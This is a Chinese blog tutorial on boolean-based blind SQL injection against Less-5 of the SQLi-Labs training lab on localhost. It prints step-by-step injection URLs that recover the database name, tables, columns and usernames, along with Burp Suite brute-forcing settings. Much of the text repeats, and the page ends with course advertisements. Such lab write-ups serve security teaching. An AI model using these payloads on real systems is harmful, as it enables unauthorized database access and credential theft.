sqlilabs第五关布尔盲注(burpsuite版)

一.判断有无注入点及注入类型:

127.0.0.1/sqlilabs/Less-5/?id=1

127.0.0.1/sqlilabs/Less-5/?id=1’(这里可以看到页面显示sql语句报错信息,基本可以判定为’闭合)![](https://img-
blog.csdnimg.cn/f6136a33fbe5446ab5f8707dab6f4a65.png)

补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)
1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。
2.页面布尔类型状态:页面无回显且无报错信息。
127.0.0.1/sqlilabs/Less-5/?id=1’ – +
127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=1 – +
127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=2 – +
猜测数据库长度:
127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=1 – +
(若是猜错,没有返回页面)
127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=8 – +
(猜对返回You are in 页面)由此可知数据库长度为8

二、 猜测数据库长度、名称:

substr函数:
substr(str,pos,len)
str:待截取的字符串
pos:开始截取的位置
len:截取字符串长度
ag:
substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab
与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ – +
(猜错无返回页面)
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘s’ – +
(猜对返回页面You are in)
此处可以使用burpsuite工具进行爆破,方法如下:
打开burpsuite,开启代理拦截
输入 **127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ –

+**

将截取到的数据做如下操作:
1.清除变量clear$
2.为数据破解位置添加变量
有效载荷设置:(数字0-9可不加)
选项中的线程选择30:
开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。
爆破第二个数据库字母
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),2,1)=‘a’ – +
用这种方法可以将此数据库名爆破出来,为security。

三、猜测表名的长度、名称:

limit函数:

select * from user limit (0),10 //当索引为0时,可以省略

select * from user limit 0,10 //查询十条数据,索引从0到9,数据从1到10

select * from user limit 5,8 //查询八条数据,索引从5到12,数据从6到13

猜测第一张表名长度:

127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1))=4 – +

(select table_name from information_schema.tables where
table_schema=‘security’ limit
0,1):查询security数据库中的第一条数据(第一张表),再加上length为查询第一条数据长度(表名长度)

若为limit 1,1 则为查询数据库security中的第二条数据(第二张表),length后跟此表名的猜测数据长度(表名长度)。

猜测错误则无返回页面

127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1))=6 – +

由此可得到第一张表的长度为6

猜测第一张表的名称

ascii()函数:返回字符的ascii码【将字符变为数字】

ascii编码中65-90为大写字母A-Z,91-122为小写字母a-z

ascii(115) :返回115 与ord()函数用法一致

127.0.0.1/sqlilabs/Less-5/?id=1’ and ascii(substr((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=100
– +

(select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1) :此条语句为查找security中的第一张表信息

(substr((select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),1,1):此条语句为查找第一张表的名字第一个字母

ascii(substr((select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),1,1))=100
:整条语句就是将第一张表的首字母转化为数字,看是否有页面返回,若有则猜测正确。

//也可以使用猜数据库名称的方法不适用ascii()函数,此语句为:

127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘a’ –
+

猜测错误无返回信息

127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’ –
+

成功则返回You are in

可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)

通过改变substr()函数的参数可以将第一张表的表名得出,通过改变limit()函数的参数可以且换到第二张、第三张表,两者结合可以将security中的表名得出,最后的表名共有emails、referers、uagents、users四张表。

四、猜测列名的长度及名称:

127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select column_name from
information_schema.columns where table_schema=‘security’ and
table_name=‘users’ limit 1,1))=8 – +

此语句的意思为:猜测security下users表下的第二列列名长度是否为8

(第一列列名为id (limit 0,1)比较容易求出,这里使用第二列做实例)

猜测第二列列名称的第一个字母

127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select column_name from
information_schema.columns where table_schema=‘security’ and
table_name=‘users’ limit 1,1),1,1)=‘u’ – +

通过爆破可以将users下的列名全部得出,分别为id,username,password

五、猜测数据的长度及名称:

127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select username from
security.users limit 0,1))=4 – +

可以得出security数据库下的users表中的username列的第一列数据长度为4

猜测第一列列名

127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select username from
security.users limit 0,1),1,1)=‘D’-- +

也可以使用爆破

第一给username为dump

目录

一.判断有无注入点及注入类型:

127.0.0.1/sqlilabs/Less-5/?id=1

​编辑

127.0.0.1/sqlilabs/Less-5/?id=1’(这里可以看到页面显示sql语句报错信息,基本可以判定为’闭合)​编辑

补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)

1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。

2.页面布尔类型状态:页面无回显且无报错信息。

127.0.0.1/sqlilabs/Less-5/?id=1’ – +

​编辑

127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=1 – +

​编辑

127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=2 – +

​编辑

猜测数据库长度:

127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=1 – +

(若是猜错,没有返回页面)

​编辑

127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=8 – +

(猜对返回You are in 页面)由此可知数据库长度为8

​编辑

二、猜测数据库长度、名称:

substr函数:

substr(str,pos,len)

str:待截取的字符串

pos:开始截取的位置

len:截取字符串长度

ag:

substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab

与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)

127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ – +

(猜错无返回页面)

​编辑

127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘s’ – +

(猜对返回页面You are in)

​编辑

此处可以使用burpsuite工具进行爆破,方法如下:

打开burpsuite,开启代理拦截

​编辑

输入127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ – +

​编辑

将截取到的数据做如下操作:

​编辑

1.清除变量clear$

​编辑

2.为数据破解位置添加变量

​编辑

有效载荷设置:(数字0-9可不加)

​编辑

选项中的线程选择30:

​编辑

开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。

​编辑

爆破第二个数据库字母

127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),2,1)=‘a’ – +

​编辑

​编辑

用这种方法可以将此数据库名爆破出来,为security。

三、猜测表名的长度、名称:

猜测第一张表的名称

可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)

通过改变substr()函数的参数可以将第一张表的表名得出,通过改变limit()函数的参数可以且换到第二张、第三张表,两者结合可以将security中的表名得出,最后的表名共有emails、referers、uagents、users四张表。

四、猜测列名的长度及名称:

猜测第二列列名称的第一个字母

通过爆破可以将users下的列名全部得出,分别为id,username,password

五、猜测数据的长度及名称:

猜测第一列列名

也可以使用爆破

第一给username为dump

使用同样的方法可以求出username下的所有用户名称和password下的密码,到此就结束咯!


使用同样的方法可以求出username下的所有用户名称和password下的密码,到此就结束咯!

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值